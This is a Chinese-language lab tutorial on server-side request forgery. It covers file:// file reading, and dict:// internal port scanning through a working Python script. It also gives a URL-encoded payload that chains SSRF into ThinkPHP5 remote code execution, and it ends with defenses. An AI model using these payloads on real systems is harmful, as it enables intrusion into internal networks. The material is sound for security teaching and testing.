SSRF概述
-
服务器请求伪造
1、网站提供了其他服务器获取数据的请求
2、没有对目标地址做过滤
3、靶场:https://github.com/nikosdano/SSRF-Vulnerable-with-Curl -
SSRF漏洞点
1、所有传递URL参数的位置都可能存在SSRF漏洞
2、远程加载图片、视频、通过分享链接等
漏洞利用
-
设定:
有SSRF
漏洞的服务器A
为:192.168.83.144
被攻击
的服务器B
为:192.168.83.139
-
获取目标服务器的真实IP
-
读取目标服务器上的文件
file协议(file://)
内网端口扫描
- dict协议(dict://)
- 通过访问
http://192.168.83.144/SSRF/curl.php?path=dict://192.168.83.139:3306
来探测服务器B
的3306端口开放情况。
- 发送请求后,迅速返回响应包。根据响应包内容,说明
服务器B
的3306端口时开启状态。 - 如果,发送请求后,响应包有
迟钝
,响应包中无内容。说明端口未开启:
- 端口扫描脚本:
import requests
def port_scan(port):
for i in range(1,port):
try:
req = requests.get('http://192.168.83.144/SSRF/curl.php?path=dict://192.168.83.139:{}'.format(i),timeout=3)
if req.elapsed.total_seconds() < 1:
print(i,'is open!')
except:
pass
def main():
port_scan(100) #先扫描前100个端口
if __name__ == '__main__':
main()
攻击内网的应用
- http协议攻击thinkphp,ThinkPHP5 5.0.22/5.1.29 远程代码执行漏洞
- 通过有
SSRF
漏洞的服务器A
(192.168.83.144
)攻击内网安装有ThinkPHP
应用的服务器C
。- PS: ThinkPHP5 5.0.22/5.1.29 远程代码执行漏洞
- PS: ThinkPHP5 5.0.22/5.1.29 远程代码执行漏洞
Payload:
http://192.168.83.144/SSRF/curl.php?path=http%3A%2F%2F192.168.83.129%3A8080%2Findex.php%3Fs%3D%2FIndex%2F%5Cthink%5Capp%2Finvokefunction%26function%3Dcall_user_func_array%26vars%5B0%5D%3Dsystem%26vars%5B1%5D%5B%5D%3Did
- 利用关键的是支持哪些协议
- PHP中存在curl扩展,支持的协议较多
- Java中没有php的curl,主要使用http、file协议进行攻击
SSRF 防御
- 过滤URL地址:设置URL白名单或禁止访问内网IP。
- 过滤请求协议:禁用不必要的协议,仅允许
http
、https
请求。 - 过滤返回信息:避免根据返回信息来判断服务器的状态。
SSRF与CSRF的对比
SSRF
- 攻击者以目标服务器(有
SSRF漏洞
)为跳板,进一步攻击外网无法访问的内网服务器。
- 攻击者以目标服务器(有
CSRF
- 攻击者冒用用户的Cookie信息,伪造用户的身份发起请求。